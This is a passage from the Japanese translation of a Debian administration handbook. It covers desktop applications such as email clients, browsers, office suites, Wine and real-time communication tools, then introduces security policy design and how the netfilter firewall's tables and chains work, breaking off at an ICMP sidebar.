
COMMUNITY

人気のあるパッケージ

popularity-contest パッケージをインストールすると、最も人気のあるパッケージを Debian プロジェクトに通知する目的の自動調査に参加することになります。あるスクリプトが cron によって毎週実行され、結果を (HTTP または電子メールで) 送信します。結果には匿名化されたインストール済みパッケージのリストとパッケージに含まれるファイルへの最新のアクセス日が含まれます。このおかげで、Debian メンテナは最も頻繁にインストールされているパッケージとインストール済みパッケージに対する実際の使用頻度を知ることが可能です。

Debian プロジェクトはパッケージの人気度を重要視します。パッケージの人気度は 1 枚目のインストールディスクに含めるパッケージを決定するために使われます。さらにパッケージの人気度はユーザ数の極端に少ないパッケージをディストリビューションから削除するか否かを決定する際にも重要な要素になります。**popularity-contest** パッケージをインストールして、調査に参加することを心から推奨します。

収集されたデータは毎日公開されています。

➨ `http://popcon.debian.org/`

これらの統計はユーザが同等と思われる 2 種類のパッケージを選ぶ際に役立ちます。このような際には、より人気のあるパッケージを選ぶほうがおそらく無難でしょう。

Evolution は GNOME の電子メールクライアントで、`apt-get install evolution` を使ってインストールされます。Evolution は単純な電子メールクライアントに留まらず、カレンダー、アドレス帳、タスクリスト、メモ (自由形式ノート) アプリケーションの機能も持っています。電子メール部分は強力なメッセージ索引システムを備え、すべてのアーカイブ済みメッセージを対象とする検索クエリに基づいて仮想フォルダを作成することが可能です。言い換えると、すべてのメッセージは同じ方法で保存されますが、フォルダのような入れ物の中に表示されます。各フォルダにはフィルタリング条件群に一致するメッセージが含まれます。

図 13.4　Evolution 電子メールソフトウェア

Evolution の拡張機能を使うことで、Microsoft Exchange 電子メールシステムと統合することが可能です。これを行うには、**evolution-ews** パッケージが必要です。

13.4.2. KMail

KDE の電子メールソフトウェアは `apt-get install kmail` を使ってインストールすることが可能です。KMail は電子メールだけを取り扱いますが、KDE-PIM (**Personal Information Manager** の略語) と呼ばれるソフトウェアスイートに所属します。KDE-PIM には、アドレス帳、カレンダーなどの機能も含まれます。KMail は強力な電子メールクライアントに期待されるすべての機能を持っています。

図 13.5　KMail 電子メールソフトウェア

13.4.3. Thunderbird と Icedove

icedove パッケージには Thunderbird の Debian 版が含まれます。Thunderbird は Mozilla ソフトウェアスイートにおける電子メールクライアントです。補注「 Iceweasel、Firefox、その他」366 ページで述べた法律上の理由により、Debian **Jessie** には Icedove が含まれ Thunderbird は含まれません。しかし Icedove と Thunderbird はその名前とアイコンを除けば同じものです。

Thunderbird と Icedove は **icedove** パッケージに含まれ、Mozilla ソフトウェアスイートの一部です。Thunderbird と Icedove はさまざまな言語に翻訳されており、翻訳は **icedove-l10n-*** パッケージから利用できます。**enigmail** 拡張を導入すれば、メッセージを暗号化したり署名することが可能です。しかしながら **enigmail** の翻訳はすべての言語で利用できるわけではありません。

図 13.6　Icedove 電子メールソフトウェア

13.5. ウェブブラウザ

Epiphany は GNOME スイートのウェブブラウザで、Safari ブラウザ向けに Apple が開発した WebKit レンダリングエンジンを使います。対応するパッケージは **epiphany-browser** です。

konqueror パッケージに含まれる Konqueror は KDE のファイルマネージャで、ウェブブラウザとしても機能します。Konqueror は KDE 特製の KHTML レンダリングエンジンを使います。そして KHTML は、Apple の WebKit が KHTML を基にしているという事実が証明しているように、素晴らしいエンジンです。

Epiphany や Konqueror では満足できないユーザは Iceweasel を使うことが可能です。Iceweasel は **iceweasel** に含まれ、Mozilla プロジェクトの Gecko レンダリングエンジンを使い、簡素で拡張できるインターフェースを備えています。

図 13.7　Iceweasel ウェブブラウザ

CULTURE

Iceweasel、Firefox、その他

多くのユーザは間違いなく Debian **Jessie** のメニューに Mozilla Firefox がないことに驚きます。でも慌てる必要はありません。なぜなら、基本的には Firefox の別名と考えて差し支えない Iceweasel が **iceweasel** パッケージに含まれているからです。

Debian は Mozilla Foundation の定めた Firefox™ 登録商標の利用規則を満足できなかったため、名前を変更しました。すなわち、Firefox と名付けられたソフトウェアはどんなものでも公式の Firefox ロゴとアイコンを使わなければいけませんでした。しかしながら、Firefox ロゴとアイコンは自由なライセンスでリリースされていないため、Debian は Firefox を **main** セクションで配布できません。パッケージのメンテナは、ブラウザ全体を **non-free** セクションに移動するのではなく、名前を変えることでこの問題を解決することにしました。

`firefox` コマンドは **iceweasel** パッケージから提供されますが、これは `firefox` コマンドを使おうとするツールとの互換性を考慮した措置です。

同様の理由で、Thunderbird™ 電子メールクライアントの名前も類似の Icedove に変更されました。

CULTURE

Mozilla

Netscape Navigator は一般的な人々がウェブを使い始めた時期に標準的なブラウザでした。しかしながら、Microsoft が Windows に Internet Explorer を付属し、Microsoft がコンピュータ製造業者と Netscape Navigator のプリインストールを禁止するという契約を結ぶと、Netscape Navigator のシェアは奪われました。この失敗に直面し、Netscape 社は Netscape のソースコードの「自由利用を認める」ことを決定しました。すなわち、Netscape を自由なライセンスの下で公開することで Netscape に第二の人生を歩ませようとしました。これが Mozilla プロジェクトの始まりです。長年の開発の後、Netscape 社の決断は満足以上の結果をもたらしました。たとえば Mozilla プロジェクトは (Gecko と呼ばれる) HTML レンダリングエンジンをもたらしました。これは最も厳密に規格に準拠するレンダリングエンジンです。Gecko レンダリングエンジンは特に Mozilla Firefox ブラウザで使われています。Mozilla Firefox はユーザ数を急速に伸ばしている、最も成功したブラウザです。

最後に重要なことを述べますが、Debian には **Chromium** ウェブブラウザが含まれています (**chromium-browser** パッケージから利用できます)。Chromium ブラウザは Google で急速に開発されました。その開発速度は Debian **Jessie** のメンテナンス期間全体にわたって Chromium の単一のバージョンだけメンテナンスすることが意味を成さなくなるほどの速度です。Chromium の明確な目標は、ブラウザ性能を最適化しユーザの安全性を向上させることで、ウェブサービスをより魅力的なものにすることです。Chromium を構成する自由なコードは Google Chrome と呼ばれるプロプライエタリ版でも使われています。

13.6. 開発

13.6.1. GNOME 上の GTK+ 用ツール

Anjuta (**anjuta** パッケージに含まれます) は GNOME 用の GTK+ アプリケーションの作成に最適化された開発環境です。Glade (**glade** パッケージに含まれます) は GNOME 用の GTK+ グラフィカルインターフェースを作成し XML ファイルに保存するために設計されたアプリケーションです。これらの XML ファイルは **libglade** 共有ライブラリによって読み込まれます。**libglade** 共有ライブラリは XML ファイルに保存されたインターフェースを動的に再作成することが可能です。動的再作成機能はたとえばダイアログを必要とするプラグインにとって興味深い機能です。

Anjuta の目標は統合開発環境に期待されるすべての機能をモジュール式の方法でまとめることです。

13.6.2. KDE 上の Qt 用ツール

KDE 用の同等なアプリケーションは開発環境である KDevelop (**kdevelop** パッケージに含まれます) と KDE 上の Qt アプリケーション用のグラフィカルインターフェースを設計する Qt Designer (**qttools5-dev-tools** パッケージに含まれます) です。

13.7. 共同作業

13.7.1. グループで行う作業、**グループウェア**

グループウェアツールのメンテナンスは比較的複雑になる傾向があります。なぜなら、グループウェアツールは複数のツールを統合したもので、時には自分が含まれるディストリビューションとの調和が難しい作業を要求するからです。このため、過去に数多くのグループウェアパッケージが Debian に含まれていたにも関わらず、メンテナの不足や Debian に含まれる他の (新しい) ソフトウェアとの互換性の不足が原因で配布されなくなりました。PHPGroupware、eGroupware、Kolab がこの例です。

➡ `http://www.phpgroupware.org/`

➡ `http://www.egroupware.org/`

➡ `http://www.kolab.org/`

そうは言っても、Debian からすべてのグループウェアツールが失われたわけではありません。伝統的に「グループウェア」ソフトウェアが提供していた多くの機能は「標準的な」ソフトウェアに統合されつつあります。この統合により、グループウェアソフトウェアに固有の特殊な要求が減りました。その一方で、グループ

ウェアソフトウェアには専用のサーバが必要です。Citadel (**citadel-suite** パッケージに含まれます) と Sogo (**sogo** パッケージに含まれます) は伝統的なグループウェアの代替品で、Debian **Jessie** に含まれています。

13.7.2. FusionForge を使った共同作業

FusionForge はフリーソフトウェアプロジェクト用のホスティングサービスである SourceForge を起源とする共同開発ツールです。FusionForge はフリーソフトウェアの標準的な開発モデルに基づく総合的な取り組み方を採用しています。FusionForge は SourceForge のコードがプロプライエタリになった後にも進化し続けました。SourceForge コードの最初の作者である VA Software が今後は SourceForge コードのフリーソフトウェア版を公開しないことを決定し、SourceForge の最初のフォークである GForge がプロプライエタリになった後にも FusionForge は進化し続けました。多くの人と組織が FusionForge の開発に参加し続けたため、現在の FusionForge には開発に対する古典的な姿勢を採用する機能および、純粋なソフトウェア開発に該当しないプロジェクトが含まれます。

FusionForge はプロジェクトを管理、追跡、調整するための複数のツールの集合体とみなすことが可能です。これらのツールは大ざっぱに言って 3 種類に分類することが可能です。

- **連絡ツール**。ウェブフォーラム、メーリングリスト管理システム、プロジェクトからのニュースを発表するための告知システムを指します。
- **追跡ツール**。プロジェクトの進行状況を追跡したりタスクの予定を立てるためのツール、バグや機能要求や「チケット」と呼ばれるその他の要素を追跡するためのツール、調査を行うためのツールなどを指します。
- **共有ツール**。プロジェクトに関連する文書の唯一の原本を提供するための文書管理システム、包括的なファイルリリース管理システム、プロジェクト専用のウェブサイトを指します。

FusionForge はさまざまな開発プロジェクト対象にしているため、FusionForge はソースコード管理を担う CVS、Subversion、Git、Bazaar、Darcs、Mercurial、Arch などの多くのツールを統合しています (ソースコード管理は「設定管理」や「バージョン管理」などと呼ばれる場合があります)。ソースコード管理を担うプログラムは登録された全ファイル (多くの場合ソースコードファイル) の履歴をファイルに対して行われたすべての変更と一緒に保存したり、複数の開発者がプロジェクトの同じ部分に対して同時に作業を行った場合にその変更をマージすることが可能です。

きめ細かく調整されたパーミッションシステムを備えたウェブインターフェースと一部のイベントに対する電子メール通知システムを介して、ほとんどのソースコード管理ツールを利用したりさらに管理したりすることが可能です。

13.8. オフィススイート

長きにわたり、フリーソフトウェア世界にはオフィスソフトウェアが存在しませんでした。ユーザは Word や Excel などの Microsoft ツールの代替を望んでいましたが、Microsoft ツールはとても複雑でその代替品の開発は難しい作業でした。Sun が StarOffice のコードを OpenOffice の形で自由なライセンスに基づいて開放したことで、この状況は変わりました。OpenOffice プロジェクトは後に Libre Office を産みました。Libre Office は Debian に含まれています。KDE プロジェクトは Calligra Suite (旧 KOffice) と呼ばれる自前のオフィスソフトウェアを備えています。GNOME プロジェクトはこれまでに総合的なオフィススイートを提供し

たことはありませんが、AbiWord という文書作成ソフトと Gnumeric という表計算ソフトを備えています。すべてのプロジェクトには長所があります。たとえば、Gnumeric 表計算ソフトはある分野において (特に計算精度の点で) OpenOffice.org/Libre Office よりも優れています。文書作成ソフトについて言えば、Libre Office スイートのほうが優れています。

ユーザ側から見たもう一つの重要な要素は Microsoft Office 文書のインポート機能です。この機能はすべてのオフィススイートに備えられているにも関わらず、OpenOffice.org と Libre Office の備えるものを除けば日常の使用に耐えうるものではありません。

THE BROADER VIEW

Libre Office が OpenOffice.org を置き換える

OpenOffice.org への貢献者は OpenOffice.org プロジェクトの開発を発展させる目的で財団 (**The Document Foundation**) を設立しました。財団の設立は何度か議論されていましたが、Oracle による Sun の買収が実際の引き金になりました。OpenOffice.org の所有権が Oracle に移ったことで、今後 Oracle がどのように OpenOffice を取り扱うかに関する方針があやふやになりました。そして、Oracle が **The Document Foundation** に参加することを拒否したため、開発者は OpenOffice.org の名前を使うことを諦めざるを得なくなりました。新しいソフトウェアは現在 **Libre Office** として知られており、Debian で利用できます。

OpenOffice.org の開発が相対的に低迷した後、Oracle はコードと関連する権利を Apache ソフトウェア財団に寄贈しました。現在の OpenOffice は Apache プロジェクトの 1 つになっています。OpenOffice プロジェクトは現在 Debian で利用できません。

Libre Office と Calligra Suite はそれぞれ **libreoffice** と **calligra** Debian パッケージに含まれます。**gnome-office** パッケージは AbiWord や Gnumeric などのオフィスツール集をインストールするために以前使われていましたが、このパッケージはもはや Debian に含まれません。現在 Debian にはそれぞれのソフトウェアに対する個別のパッケージが含まれています。

Libre Office 用の言語パックは別パッケージの形で配布されています。特に重要なものが **libreoffice-l10n-*** と **libreoffice-help-*** です。スペル辞書、禁則処理パターン、類語集などのいくつかの機能は別のパッケージになっています。たとえば **myspell-***、**hunspell-***、**hyphen-***、**mythes-*** などです。

13.9. Windows のエミュレート、Wine

これまでに述べてきた努力にも関わらず、まだ数多くのツールには Linux で動く同等品が用意されていませんし、用意されていても元になったバージョンが絶対に不可欠なことがあります。これが Windows エミュレーションシステムの役立つ場面です。最もよく知られている Windows エミュレーションシステムが Wine です。

➨ `https://www.winehq.org/`

COMPLEMENTS

CrossOver Linux

CodeWeavers が開発している **CrossOver** は Microsoft Office を完全に利用できるようにするために Wine のエミュレート機能を強化するプロジェクトです。一部の機能強化は定期的に Wine にマージされています。

➨ `http://www.codeweavers.com/products/`

しかしながら、Wine は数ある解決策の 1 つに過ぎず、仮想マシンや VNC などの他の解決策を試してみることも覚えておくべきです。仮想マシンや VNC という解決策は補注「 仮想マシン」370 ページおよび「**Windows Terminal Server** または VNC」370 ページで詳しく説明しています。

思い出すことから始めましょう。エミュレーションを使うことで異なるホストシステム上で (あるターゲットシステム向けに開発された) プログラムを実行することが可能になります。エミュレーションソフトウェアはアプリケーションを実行するホストシステムを使い、ターゲットシステムに要求される機能を模倣します。

それでは必要なパッケージをインストールしましょう (**ttf-mscorefonts-installer** は contrib セクションに含まれます)。

```
# apt-get install wine ttf-mscorefonts-installer
```

64 ビット (amd64) システムで 32 ビットの Windows アプリケーションを使う場合、i386 アーキテクチャの wine32 パッケージをインストールするために multi-arch を有効化しなければいけません (第 5.4.5 節「マルチアーキテクチャサポート」95 ページを参照してください)。

インストールが終了したらユーザは `winecfg` を実行し、(Windows) ドライブに対応付ける (Debian 上の) 場所を設定しなければいけません。`winecfg` のデフォルト設定は堅実で、いくつかのドライブを自動検出することが可能です。このため、デュアルブートシステムを使っていたとしても Wine の C: ドライブを Debian からマウントされた Windows パーティションに設定するべきではない点に注意してください。なぜなら、Wine は Windows パーティションの一部のデータを上書きして Windows を破壊してしまうかもしれないからです。他の設定はデフォルトの値を使うことが可能です。Windows プログラムを実行するには、最初に `wine` **`.../setup.exe`** を使って Wine の下で Windows プログラムの (Windows) インストーラを実行し、インストール作業を行う必要があります。プログラムのインストールが完了したら、`wine` **`.../program.exe`** を使ってプログラムを実行します。`program.exe` ファイルの正しい場所は C: ドライブが対応付けられた場所に依存します。しかしながら多くの場合、単純に `wine` **`program`** と実行するだけで十分です。なぜなら、通常プログラムは Wine が探す場所にインストールされるからです。

TIP

winecfg の機能不全の回避手段

場合によっては、`winecfg` が正しく動作しないことがあります (`winecfg` はただのラッパーに過ぎません)。`winecfg` の機能不全を回避する手段として、`winecfg` が実際に呼び出すコマンドである `wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so` または `wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so` を手入力して実行してみると良いかもしれません。

動かしたいソフトウェアを実際にテストする前に Wine (または類似の解決策) を信頼するべきではない点に注意してください。すなわち、エミュレーションが完全に動作しているか否かは、実際にそのソフトウェアを使ってみた後に判断するしかありません。

ALTERNATIVE

仮想マシン

Microsoft のオペレーティングシステムをエミュレートする別の方法として、ハードウェアマシン全体をエミュレートする仮想マシンの中で実際にオペレーティングシステムを実行する方法があります。この方針を取れば、任意のオペレーティングシステムを実行することが可能です。第 12 章「高度な管理」302 ページではいくつかの仮想化システムについて説明していますが、(QEMU、VMWare、Bochs もさることながら) 中でも注目すべきは Xen と KVM です。

ALTERNATIVE

Windows Terminal Server または VNC

さらに別の方法として、**Windows Terminal Server** を備えた中央サーバ上で古い Windows アプリケーションをリモート実行し、**rdesktop** を使って Linux マシンから対象のアプリケーションを操作する方針があります。**rdesktop** は Linux 上で動作する RDP プロトコル (**Remote Desktop Protocol**) を実装したクライアントです。**Windows NT/2000 Terminal Server** は RDP を使ってリモートマシンにデスクトップを表示します。

VNC ソフトウェアは **rdesktop** と同様の機能を提供します。また、VNC を使えば多くのオペレーティングシステムからアプリケーションを遠隔操作できるという恩恵があります。Linux 上で動作する VNC クライアントとサーバについては第 9.2 節「リモートログイン」191 ページで説明されています。

13.10. リアルタイムコミュニケーションソフトウェア

Debian にはさまざまなリアルタイムコミュニケーション (RTC) クライアントソフトウェアが含まれます。第 11.8 節「リアルタイムコミュニケーションサービス」291 ページでは RTC サーバのセットアップについて解説しています。SIP の用語では、クライアントアプリケーションおよびデバイスをユーザエージェントと呼ぶこともあります。

各クライアントアプリケーションはさまざまな機能を備えています。ヘビーなチャットユーザにとってより便利なアプリケーションもあれば、ウェブカメラのユーザに適しているアプリケーションもあります。最も満足のいくアプリケーションを見つけるにはいくつかのアプリケーションをテストする必要があるでしょう。最終的に 1 種類以上のアプリケーションを使うユーザがいるかもしれません。たとえば顧客と連絡を取り合うために XMPP アプリケーションを使い、オンラインコミュニティと連携するために IRC アプリケーションを使ったりするわけです。

ユーザがコミュニケーションできる範囲を狭めないようにするためにも、SIP と XMPP クライアントの両方または両方のプロトコルをサポートするクライアントを設定することを推奨します。

デフォルトの GNOME デスクトップには Empathy コミュニケーションクライアントが含まれます。Empathy は SIP と XMPP の両方をサポートしています。さらに Empathy はインスタントメッセージ (IM)、音声、動画もサポートしています。KDE デスクトップには KDE Telepathy が含まれます。KDE Telepathy は GNOME Empathy クライアントが使っているのと同じ Telepathy API を使っているコミュニケーションクライアントです。

Empathy/Telepathy の代替ソフトウェアとして人気なソフトウェアには、Ekiga、Jitsi、Linphone、Psi、Ring (旧名 SFLphone) などがあります。

上に挙げたアプリケーションの中には、Android の Lumicall などのアプリケーションを使っているモバイルユーザと連絡を取り合うことが可能なアプリケーションもあります。

➡ `http://lumicall.org`

リアルタイムコミュニケーションクイックスタートガイドでは 1 章を割いてクライアントソフトウェアについて説明しています。

➡ `http://rtcquickstart.org/guide/multi/useragents.html`

TIP

ICE と TURN をサポートするクライアントを探す

一部の RTC クライアントはファイアウォールと NAT ネットワークを通じて音声や動画を送信する場合に大きな問題があります。このようなソフトウェアを使った場合、ゴーストコール (電話を取ることはできても相手の声が聞こえない状態) になったり、全く電話をかけることができなくなるかもしれません。

ICE および TURN プロトコルはこの問題を解決するために開発されました。TURN サーバに公開 IP アドレスを付けて運営し、さらに ICE と TURN の両方をサポートするクライアントソフトウェアを使えば、最良のユーザエクスペリエンスを得ることが可能です。

インスタントメッセージだけを要件としてクライアントソフトウェアを選ぶ場合、ICE または TURN のサポートは不要です。

Debian 開発者は rtc.debian.org[1] でコミュニティ SIP サービスを運営しています。このコミュニティは Debian でパッケージングされている数多くのクライアントアプリケーションに関する文書を備えたウィキを管理しています。ウィキに掲載されている記事とスクリーンショットは同様のサービスを自分のドメインで設定する際に役立ちます。

➡ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

ALTERNATIVE

インターネットリレーチャット

SIP や XMPP に加えて IRC を検討することも可能です。IRC システムはチャンネルの概念を中心としています。チャンネル名の先頭にはハッシュ記号 # が付けられます。通常各チャンネルには特定の話題が設定されており、多くの人々がチャンネルに参加してその話題について議論することが可能です (必要ならば、ユーザ同士が一対一でプライベートに会話することも可能です)。IRC プロトコルは古く、メッセージをエンドツーエンドで暗号化することが不可能です。しかし IRC プロトコルを SSL の中にトンネリングすれば、ユーザとサーバ間の通信を暗号化することも可能です。

IRC クライアントはもう少し複雑で、集団環境の中における使用制限を行使するための多くの機能を備えています。たとえば通常の議論が妨げられた場合、チャンネルの「オペレータ」は他のユーザをチャンネルから追い出したり、永久的に参加を禁止したりするためにこれらの機能を使って自分の責任を果たします。

IRC プロトコルはとても古いため、多くのユーザグループの需要に応える多くの IRC クライアントが存在します。IRC クライアントには XChat、Smuxi (GTK+ に基づくグラフィカルクライアント)、Irssi (テキストモード)、Erc (Emacs への統合) などがあります。

QUICK LOOK

Ekiga を使ったビデオ会議

Ekiga (旧名 GnomeMeeting) は Linux ビデオ会議用の有名なアプリケーションです。Ekiga は安定かつ機能的であり、ローカルネットワーク上ならばとても簡単に使うことが可能です。また、使われているファイアウォールが H323 や SIP テレビ会議プロトコルの全機能を明示的にサポートしていない場合、グローバルネットワーク上でサービスを設定することはかなり複雑になります。

ファイアウォールの背後で実行されている Ekiga クライアントが 1 台だけの場合、その設定はかなり分かりやすいものです。すなわちいくつかのポートを Ekiga クライアントが実行されるホストに転送する設定を行うだけです。具体的に言えば、TCP ポート 1720 番 (入って来る接続をリッスン)、TCP ポート 5060 番 (SIP 用)、TCP ポート 30000 番から 30010 番 (開かれた接続の制御用)、UDP ポート 5000 番から 5100 番 (音声と動画データの伝送と H323 プロキシ登録用) を転送する設定を行います。

ファイアウォールの背後で複数の Ekiga クライアントを実行する場合、設定は著しく複雑なものになります。H323 プロキシ (たとえば **gnugk** パッケージ) をセットアップする必要がありますし、H323 プロキシの設定はとても難しいものです。

[1] https://rtc.debian.org

キーワード

ファイアウォール
Netfilter
IDS/NIDS

章

セキュリティ 14

目次

セキュリティポリシーの定義 376　ファイアウォールとパケットフィルタリング 377　監督、防止、検出、監査 384
AppArmor の紹介 390　SELinux の紹介 397　セキュリティ関連で他に考慮すべき点 410
不正侵入されたマシンの取り扱い 414

情報システムはその環境に依存してさまざまな重要度を持ちます。情報システムは企業が生き残る上で極めて重要な意味を持つ場合もあります。そのため、さまざまな危険から情報システムを保護することが重要です。これらの危険を評価する過程、保護の定義および実装はまとめて「セキュリティプロセス」として知られています。

14.1. セキュリティポリシーの定義

CAUTION

この章の適用範囲

セキュリティは広い意味を持っておりとても慎重に扱うべき話題です。このため、どんな形であれ単一の章の中で包括的なやり方を説明することは不可能です。この章ではいくつかの重要な点を詳しく説明し、セキュリティ分野で使うことが可能ないくつかのツールと方法を説明するだけに留めます。より詳しい情報を得るには、セキュリティだけを取り扱っている数多くの文献を参照してください。Michael D. Bauer によって書かれた **Linux Server Security** (O'Reilly から出版されています) は素晴らしい足掛かりとなるでしょう。

「セキュリティ」という単語自体は広い範囲の概念、ツール、手順を意味しており、どの一つをとってみても普遍的に適用できるものではありません。「セキュリティ」という単語の意味を把握するには、自分の目標に関する正確な知識を必要とします。システムを保護することはいくつかの質問に答えることから始まります。何も考えずいい加減に選んだツール群を使うと、間違ったセキュリティの側面に注力するという危険を冒すことになります。

このため、最初に目標を設定します。目標設定を手助けするには、以下の質問に答えると良いでしょう。

- **何を**保護したいのですか? コンピュータを保護したい場合とデータを保護したい場合とでセキュリティポリシーは異なります。データを保護したい場合、保護したいデータの種類を知る必要があります。
- **何から**保護したいのですか? 機密データの漏洩からですか? 予想外のデータ損失からですか? それともサービスが停止したことによる収益の損失からですか?
- **誰から**保護したいのですか? 入力ミスを犯すシステムの一般ユーザから保護したい場合と執拗な攻撃を加えるグループから保護したい場合とでは、必要なセキュリティ対策は全く異なるものになるでしょう。

「リスク」という用語は習慣的に、3 つの要素をまとめて意味しています。すなわち、保護したいのは何なのか、防ぎたい危険とは何なのか、危険を引き起こすのは誰なのかという 3 つの要素を意味しています。リスクをモデル化するには、3 つの質問に答える必要があります。ここで作られたリスクモデルからセキュリティポリシーが構成され、セキュリティポリシーは具体的な動作を伴い履行されます。

NOTE

永久的な質問

セキュリティ分野 (コンピュータ以外のセキュリティも含めたセキュリティ分野) における世界的専門家である Bruce Schneier はセキュリティの最も重要な通説に反対意見を述べようとしています。反対意見のモットーは「セキュリティとは過程であって、成果ではない」です。保護したい資産だけでなく、脅威や潜在的な攻撃者が使う手段も時間経過に伴い変化します。最初にセキュリティポリシーが完璧に設計され履行されたとしても、決してその栄光に満足するべきではありません。リスクの元になる要素が増加すれば、同時にリスクへの対応も増加させなければいけません。

他にも考慮に値する追加的な質問があります。この質問により、利用できるポリシーの範囲を狭めることが可能です。どの程度までシステムを保護したいのですか? この質問はポリシーの設計に大きな影響をおよぼします。この質問には金銭的な費用の意味だけでなく、システムユーザに課される不便さや性能の低下の量という別の要素も考慮して回答すべきです。

リスクのモデル化が完了したら、実際のセキュリティポリシーの設計について検討を開始することが可能です。

NOTE

極端なポリシー

システムを保護するために必要な動作を極めて単純に選ぶことが可能な場合があります。

たとえば、保護されるシステムが 1 台の中古コンピュータから構成されるとします。このシステムは毎日の終わりにいくつかの数の足し算を行うためだけに使われます。このようなシステムを特別に保護しないことはかなり理に適っています。本質的なシステムの価値は低いです。データはコンピュータに保存されないため、データの価値もありません。この「システム」に侵入されたところで、潜在的な攻撃者が手に入れられるのは大きすぎて扱いにくい計算機だけです。このようなシステムの場合、保護に必要な費用は侵害によって脅かされる費用よりも多いかもしれません。

その対極に、可能な限り包括的な方法を使って機密データの機密性を考え得る他のどんな方法よりも強力に保護したいとします。この場合の適切な方針は機密データを完全に破壊することです (安全にファイルを削除し、ハードディスクを粉々に破砕し、破片を酸に溶かすなどの方法で完全に破壊します)。追加的な要求としてデータを将来使えるように保存する必要があり (とは言え簡単に利用できる必要はありません)、さらに保存にかかる費用に糸目を付けない場合、データをイリジウムプラチナ合金板に保存し、この板を世界中に位置するいくつかの山の下にある防弾掩体壕の内部に保存し、各保存場所を (もちろん) 完全に秘密かつ軍隊の全員で警備することが適切な方針です。

これらの例は極端な対応に見えますが、到達させたい目標と満足させたい制限事項を考慮した結果この対応を取ったというのであれば、定義されたリスクに対する適切な応答と言えます。合理的な判定を下した結果ならば、他のセキュリティポリシーよりも軽んじても良いセキュリティポリシーなど存在しません。

多くの場合、情報システムを一貫性のある独立した小集団に分割することが可能です。各サブシステムには固有の要求と制限事項があります。このため、リスク評価とセキュリティポリシーの設計はそれぞれのサブシステムごとに別々に実行されるべきです。簡潔にうまく定義された境界を定義するほうが複雑に曲がりくねった境界を定義するよりも簡単という原理は覚えておくと良いでしょう。ネットワーク組織もまた適切に設計されるべきです。すなわち、機密を取り扱うサービスは少数のマシンに集中させるべきで、それらのマシンへのアクセスを可能にするチェックポイントの数も最小限に留めるべきです。そして、これらのチェックポイントを守ることは、外の世界全体からすべての機密を取り扱うマシンを守ることよりも簡単です。近年、ネットワークフィルタ (ファイアウォールを含めて) の実用性が明らかになりつつあります。ネットワークフィルタは専用ハードウェアを使って実装されることも可能ですが、Linux カーネルに統合されているソフトウェアファイアウォールを使えばより簡単で柔軟性の高いフィルタを作成することが可能です。

14.2. ファイアウォールとパケットフィルタリング

BACK TO BASICS

ファイアウォール

ファイアウォールはハードウェアかソフトウェアの形で提供されるコンピュータ部品の一種で、受信および送信する (ローカルネットワークに到着したり、ローカルネットワークから送信される) ネットワークパケットを仕分けて事前に定義された条件に一致するパケットだけを通過させるものです。

ファイアウォールはネットワークゲートウェイをフィルタするもので、ゲートウェイを通過しなければいけないパケットだけに有効です。それ故、フィルタしたいパケットをファイアウォール以外の経路で宛先に配送することが可能な場合、ファイアウォールは無意味です。

標準的な設定が存在しないということは (そして「過程であって、成果ではない」モットーに従うということは) ややこしい初期設定の不要な解決策が存在しないということを意味します。しかしながら、**netfilter** フ

ァイアウォールの設定を簡単に行うためのツールが存在し、ツールはフィルタリングルールをグラフィカルに表現する機能を備えています。fwbuilder がこの種のツールの中で最良のツールであることは疑いありません。

SPECIFIC CASE

ローカルファイアウォール

ファイアウォールを使って (完全なネットワークとは対照的に) 特定のマシンを制限することも可能です。この場合のファイアウォールの役割は一部のサービスへのアクセスをフィルタしたり制限すること、ユーザが好むと好まざるとに関わらずインストールした不正ソフトウェアによる外部への接続を防ぐことです。

Linux カーネルには **netfilter** ファイアウォールが組み込まれています。iptables と ip6tables コマンドを使うことで、**netfilter** ファイアウォールをユーザ空間から制御することが可能です。iptables と ip6tables コマンドの違いは、iptables が IPv4 ネットワークを取り扱うのに対し、ip6tables は IPv6 ネットワークを取り扱うという点です。おそらく IPv4 と IPv6 のネットワークプロトコルスタックは長きにわたり共存するでしょうから、両方のツールを並行して実行する必要があります。

14.2.1. netfilter の挙動

netfilter は以下に示す 4 種類の異なるテーブルを使います。テーブルには、パケットに対する 3 種類の操作を規制するためのルールを保存します。

- filter。フィルタリングルール (パケットを受け入れる、拒否する、無視するなど) に関係します。
- nat。パケットの送信元や宛先アドレスおよびポート番号の変換に関係します。
- mangle。IP パケットに対するその他の変換に関係します (ToS すなわち **Type of Service** フィールドやオプションの変換も含まれます)。
- raw。パケットが接続追跡システムに到達する前にパケットを手作業で別の変更を加えることが可能です。

それぞれのテーブルには、**チェイン**と呼ばれるルールのリストが含まれます。ファイアウォールは事前に定義された状況に基づいてパケットを取り扱うために標準的なチェインを使います。管理者は他のチェインを作成することが可能です。このチェインを使うには、標準的なチェインの 1 つから (直接的か間接的かのいずれか一方の方法で) このチェインを参照します。

filter テーブルは以下に示す 3 種類の標準的なチェインを備えています。

- INPUT。宛先がファイアウォール自身のパケットに関係します。
- OUTPUT。ファイアウォールから送信されたパケットに関係します。
- FORWARD。ファイアウォールを通過するパケット (送信元や宛先がファイアウォールでないパケット) に関係します。

nat テーブルは以下に示す 3 種類の標準的なチェインを備えています。

- PREROUTING。パケットの到着直後にパケットを修正します。
- POSTROUTING。パケットを宛先に送信する準備が完了した時にパケットを修正します。
- OUTPUT。ファイアウォールそれ自身によって生成されたパケットを修正します。

図 14.1　netfilter **チェインの呼び出される方法**

各チェインはルールのリストです。そして各ルールは一連の条件とその条件に一致する場合に実行される動作です。パケットを処理する場合、ファイアウォールは適切なチェインを 1 つずつ検査します。そしてあるルールの条件に一致したら、処理を続けるために特定の動作に「ジャンプ」します (このためコマンドには -j オプションが存在します)。最も一般的な挙動は標準化されており、それぞれの挙動に対する専用の動作が存在します。以下に示す標準的な動作が選択されると、チェインの処理は中止されます。なぜなら、パケットの運命は既に決まっているからです (以下で言及されている除外に一致する場合を除きます)。

BACK TO BASICS

ICMP

